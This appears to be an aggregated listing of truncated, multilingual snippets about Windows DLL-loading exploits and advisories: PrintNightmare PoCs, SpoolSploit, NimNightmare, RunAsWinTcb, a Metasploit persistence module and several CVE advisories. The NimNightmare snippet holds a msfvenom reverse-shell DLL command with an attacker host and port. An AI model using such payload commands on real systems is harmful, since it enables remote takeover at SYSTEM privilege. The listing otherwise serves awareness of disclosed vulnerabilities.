CVE-2021-1675

CVE-2021-1675 / CVE-2021-34527 Impacket による PrintNightmare PoC の実装です。元々は Zhiniang Peng（@edwardzpeng）と Xuefeng Li（@lxf02942370）によって作成されました。 完全にパッチが適用された 2019 ドメインコントローラーでテスト済みです。 悪意のある DLL をリモートまたはローカルで実行します。 パッチ更新 Microsoft はこれらの攻撃に対する緩和策としてパッチをリリースしましたが、以下の値がマシンに存在する場合、そのマシンは依然として脆弱です。...

CVE-2021-1675

CVE-2021-1675 / CVE-2021-34527 Реализация Impacket PoC PrintNightmare, изначально созданной Zhiniang Peng @edwardzpeng и Xuefeng Li @lxf02942370 Протестировано на полностью пропатченном контроллере домена 2019 Удалённое или локальное выполнение вредоносных DLL Обновление патча Microsoft выпустила...

CVE-2021-40444-exp

CVE-2021-40444 PoC 악성 docx 생성기로 CVE-2021-40444Microsoft Office Word 원격 코드 실행를 악용합니다. 이 스크립트는 실제 환경에서 사용된 샘플 938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52docx 파일에 대한 리버스 엔지니어링을 기반으로 제작되었습니다. 먼저 lcab를 설치해야 합니다sudo apt-get install lcab 수동 재현 단계는 REPRODUCE.md를 확인하세요. 생성된 cab이 작동하지...

SpoolSploit

SpoolSploit Набор эксплойтов для очереди печати Windows, контейнеризированных с другими утилитами для практической эксплуатации. Краткое описание SpoolSploit — это набор эксплойтов для очереди печати Windows, объединённых в контейнере с другими утилитами для практической эксплуатации. Некоторые...

CVE-2021-1675

CVE-2021-1675 / CVE-2021-34527 Impacket 구현으로, 원래 Zhiniang Peng@edwardzpeng과 Xuefeng Li@lxf02942370가 만든 PrintNightmare PoC 입니다. 완전히 패치된 2019 도메인 컨트롤러에서 테스트되었습니다. 악성 DLL을 원격 또는 로컬에서 실행합니다. 설치 익스플로잇을 실행하기 전에 내 버전의 Impacket을 설치해야 합니다. 그러면 문제없습니다. root@kitploit: pip3 uninstall impacket git clone...

CVE-2022-26809

CVE-2021-1675 / CVE-2021-34527 Реализация Impacket для PoC PrintNightmare , изначально созданная Zhiniang Peng @edwardzpeng и Xuefeng Li @lxf02942370 Протестировано на полностью пропатченном контроллере домена 2019 Выполнение вредоносных DLL удаленно или локально Обновление патча Microsoft...

NimNightmare

CVE-2021-1675 LPE PoC 제 익스플로잇이 아닙니다! 그냥 winim 라이브러리를 nim에서 가지고 놀고 싶었을 뿐입니다. 사용법 msfvenom -p windows/x64/shellreversetcp LHOST=192.168.8.237 LPORT=4444 -f dll msfvenom.dll 로 DLL 페이로드를 생성한 다음, 공격자 시스템에서 핸들러를 시작하세요. 피해자 시스템에서 .\nimnightmare.exe 을 실행하면 SYSTEM 권한의 셸을 얻을 수 있습니다...

CVE-2021-1675

CVE-2021-1675 Impacket による PrintNightmare PoC の実装です。原作者は Zhiniang Peng（@edwardzpeng）& Xuefeng Li（@lxf02942370）です。 完全にパッチ適用済みの 2019 ドメインコントローラーでテスト済み。 悪意のある DLL をリモートまたはローカルで実行します。 インストール エクスプロイトを実行する前に、私のバージョンの Impacket をインストールする必要があります。後は問題ありません。 root@kitploit: pip3 uninstall impacket git clone...

cube0x0-CVE-2021-1675

CVE-2021-1675 / CVE-2021-34527 원래 Zhiniang Peng@edwardzpeng & Xuefeng Li@lxf02942370이 만든 PrintNightmare PoC의 Impacket 구현입니다. 완전히 패치된 2019 도메인 컨트롤러에서 테스트됨 악성 DLL을 원격 또는 로컬로 실행 패치 업데이트 Microsoft는 이러한 공격을 완화하기 위한 패치를 출시했지만, 아래 값이 시스템에 존재하면 해당 시스템은 여전히 취약합니다. root@kitploit: REG QUERY...

ClearFake WebDAV infection chain delivers Amatera stealer, ZigCryptoStealer, and NetSupport Manager

Cisco Talos began an investigation after observing a DLL named "verification.google" executing from WebDAV at a Ukrainian government organization. We assess with moderate confidence that the attacks are not targeted at a particular organization, but are a part of a cryptocurrency and...

RunAsWinTcb

RunAsWinTcb 개요 RunAsWinTcb는 사용자랜드 익스플로잇을 사용하여 WinTcb-Light 보호 수준으로 DLL을 실행합니다. 취약점 및 익스플로잇 기능에 대한 개요는 여기에서 확인할 수 있습니다: https://tastypepperoni.medium.com/running-exploit-as-protected-process-ligh-from-userland-f4c7dfe63387 사용 방법 명령: RunAsWinTcb.exe POCDLL.dll Windows Defender 종료:...

CVE-2026-5397 Vulnerability Related to an Uncontrolled Search Path Element in a UPS Management Application

It has been identified that a vulnerability CWE-427 exists in the UPS Uninterruptible Power Supply management application, whereby improper permissions on the installation directory allow a malicious actor to place a DLL that is then executed with administrator privileges. If a malicious DLL is...

Notepad++ Plugin Persistence

This module create persistence by adding a malicious plugin to Notepad++, as it blindly loads and executes DLL from its plugin directory on startup, meaning that the payload will be executed every time Notepad++ is launched. Module Options msf use exploit/windows/persistence/notepadppplugin msf...

CVE-2020-7474

A CWE-427: Uncontrolled Search Path Element vulnerability exists in ProSoft Configurator v1.002 and prior, for the PMEPXM0100 H module, which could cause the execution of untrusted code when using double click to open a project file which may trigger execution of a malicious DLL...

CVE-2020-10626

In Fazecast jSerialComm, Version 2.2.2 and prior, an uncontrolled search path element vulnerability could allow a malicious DLL file with the same name of any resident DLLs inside the software installation to execute arbitrary code...

CVE-2019-16861

Code42 server through 7.0.2 for Windows has an Untrusted Search Path. In certain situations, a non-administrative attacker on the local server could create or modify a dynamic-link library DLL. The Code42 service could then load it at runtime, and potentially execute arbitrary code at an elevated...

CVE-2024-2658

A misconfiguration in lmadmin.exe of FlexNet Publisher versions prior to 2024 R1 11.19.6.0 allows the OpenSSL configuration file to load from a non-existent directory. An unauthorized, locally authenticated user with low privileges can potentially create the directory and load a specially crafted...

CVE-2025-59485

Incorrect default permissions issue exists in Security Point Windows of MaLion prior to Ver.5.3.4. If this vulnerability is exploited, an arbitrary file could be placed in the specific folder by a user who can log in to the system where the product's Windows client is installed. If the file is a...

CVE-2025-59485

Incorrect default permissions issue exists in Security Point Windows of MaLion prior to Ver.5.3.4. If this vulnerability is exploited, an arbitrary file could be placed in the specific folder by a user who can log in to the system where the product's Windows client is installed. If the file is a...

PT-2025-48023

Incorrect default permissions issue exists in Security Point Windows of MaLion prior to Ver.5.3.4. If this vulnerability is exploited, an arbitrary file could be placed in the specific folder by a user who can log in to the system where the product's Windows client is installed. If the file is a...